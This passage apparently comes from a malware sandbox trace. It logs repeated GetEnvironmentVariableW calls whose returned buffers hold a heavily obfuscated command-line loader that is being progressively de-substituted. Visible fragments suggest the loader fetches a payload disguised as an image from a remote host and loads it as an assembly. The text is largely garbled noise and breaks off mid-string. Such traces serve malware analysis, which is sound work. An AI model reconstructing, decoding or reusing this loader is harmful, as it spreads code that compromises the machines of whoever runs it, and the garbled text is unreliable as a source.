Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy9iy+{7yDa%zEhA]Pjyiy#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDniy+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]PjyiyDn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se%  aDI/`aKE,%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmuQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7e,v%IPjqFl6Nk7yPjTdI, 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yDaPjmuQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% )  ^&^&  ,m37.e7E   ,g, oa37Z/Tgo") returned 0x694
	[0057.060] GetEnvironmentVariableW (in: lpName="`\\+", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy9iy+{7yDa%zEhA]Pjyiy#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDniy+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]PjyiyDn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmuQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecv%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yDaPjmuQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x694
	[0057.062] GetEnvironmentVariableW (in: lpName="_@.-", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H28+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmuQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecv%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yDaPjmuQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x68f
	[0057.065] GetEnvironmentVariableW (in: lpName="$'", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yBBQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.B'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2BQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yBBQI'+'mQIaKFl] B`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yBBQI7 Zn10..H'+'2('+'))\\Fl66k7yBBQI'+'GC7y'+'GC7yaKFl66k7yBBQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yBBQI7axd'+'Fl6'+'6k7yBBQI_'+')[Fl66k7yBBQImQI'+'{Fl66k7yBBQI'+'_*H28+Fl66k7yBBQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yBBQIGC7yGC7y.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yBBQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmBQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecv%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yDaPjmBQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x68f
	[0057.068] GetEnvironmentVariableW (in: lpName=".,`_", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  suTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yBBQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.B'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2BQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yBBQI'+'mQIaKFl] B`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yBBQI7 Zn10..H'+'2('+'))\\Fl66k7yBBQI'+'GC7y'+'GC7yaKFl66k7yBBQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yBBQI7axd'+'Fl6'+'6k7yBBQI_'+')[Fl66k7yBBQImQI'+'{Fl66k7yBBQI'+'_*H28+Fl66k7yBBQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yBBQIGC7yGC7y.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yBBQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTduE.InFl6PjQIE7yDaXmBQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yDaPjmBQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yu% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x68f
	[0057.072] GetEnvironmentVariableW (in: lpName="',`+", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  suTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yBBQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.B'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2BQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yBBQI'+'mQIaKFl] B`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yBBQI7 Zn10..H'+'2('+'))\\Fl66k7yBBQI'+'GC7y'+'GC7yaKFl66k7yBBQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yBBQI7,'+'Fl6'+'6k7yBBQI_'+')[Fl66k7yBBQImQI'+'{Fl66k7yBBQI'+'_*H28+Fl66k7yBBQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yBBQIGC7yGC7y.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yBBQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7',{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06),{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn),{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTduE.InFl6PjQIE7yDaXmBQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yDaPjmBQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{H,2H,25Pjy-TdQXIn'')1@Znk7yu% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x683
	[0057.074] GetEnvironmentVariableW (in: lpName=",_}~", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGCV  suTd]Fl6aK. 1 @sheZVelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`kVe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66kVBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmakV11Fl] qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjkVenRea3719a'+'7'+'%zEhGCVGCVkVs:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'kVng9a7'+'))['+'Fl66kVBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'kVBBQI7 Zn10..H'+'2('+'))\\Fl66kVBBQI'+'GCV'+'GCVaKFl66kVBBQI37s.aEe'+'GCVGCVyZ7el1Fl66kVBBQI7,'+'Fl6'+'6kVBBQI_'+')[Fl66kVBBQImQI'+'{Fl66kVBBQI'+'_*H28+Fl66kVBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'kVBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66kVBBQIGCV'+'GCV.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'kVBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').RekVlaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).RekVlaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).RekVlaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaTduE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Tdjh eqFl6NV:s3Td]V).Fl6aTd3e  )  ^^^|GCVyPj4ERsheZVElTd  -nXqFl6NZqFl6N%E]aVDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NkVPjTdIc 3QI9`GCVyAjhjh  -nPjGCVy]PjzEhIle  -VDaPjmBQIAqFl6N37     ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-TdQXIn'')1@ZnkVu% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x633
	[0057.077] GetEnvironmentVariableW (in: lpName="'{", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGCV  suTd]Fl6aK. 1 @sheZVelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'png9a7'+'))['+'Fl66pBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBQI7 Zn10..H'+'2('+'))\\Fl66pBBQI'+'GCV'+'GCVaKFl66pBBQI37s.aEe'+'GCVGCVyZ7el1Fl66pBBQI7,'+'Fl6'+'6pBBQI_'+')[Fl66pBBQImQI'+'{Fl66pBBQI'+'_*H28+Fl66pBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66pBBQIGCV'+'GCV.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaTduE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Tdjh eqFl6NV:s3Td]V).Fl6aTd3e  )  ^^^|GCVyPj4ERsheZVElTd  -nXqFl6NZqFl6N%E]aVDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjTdIc 3QI9`GCVyAjhjh  -nPjGCVy]PjzEhIle  -VDaPjmBQIAqFl6N37     ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-TdQXIn'')1@Znpu% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x61c
	[0057.082] GetEnvironmentVariableW (in: lpName="-}#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGCV  suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'png9a7'+'))['+'Fl66pBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBQI7 Zn10..H'+'2('+'))\\Fl66pBBQI'+'GCV'+'GCVaKFl66pBBQI37s.aEe'+'GCVGCVyZ7el1Fl66pBBQI7,'+'Fl6'+'6pBBQI_'+')[Fl66pBBQImQI'+'{Fl66pBBQI'+'_*H28+Fl66pBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66pBBQIGCV'+'GCV.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaLuE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Ljh eqFl6NV:s3L]V).Fl6aL3e  )  ^^^|GCVyPj4ERsheZVElL  -nXqFl6NZqFl6N%E]aVDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3QI9`GCVyAjhjh  -nPjGCVy]PjzEhIle  -VDaPjmBQIAqFl6N37     ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-LQXIn'')1@Znpu% )  ^&^&  cm37.e7E   cgc oa37Z/Tgo") returned 0x612
	[0057.085] GetEnvironmentVariableW (in: lpName="$+", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGCV  suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'png9a7'+'))['+'Fl66pBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBQI7 Zn10..H'+'2('+'))\\Fl66pBBQI'+'GCV'+'GCVaKFl66pBBQI37s.aEe'+'GCVGCVyZ7el1Fl66pBBQI7,'+'Fl6'+'6pBBQI_'+')[Fl66pBBQImQI'+'{Fl66pBBQI'+'_*H28+Fl66pBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66pBBQIGCV'+'GCV.aE -3QI9an37 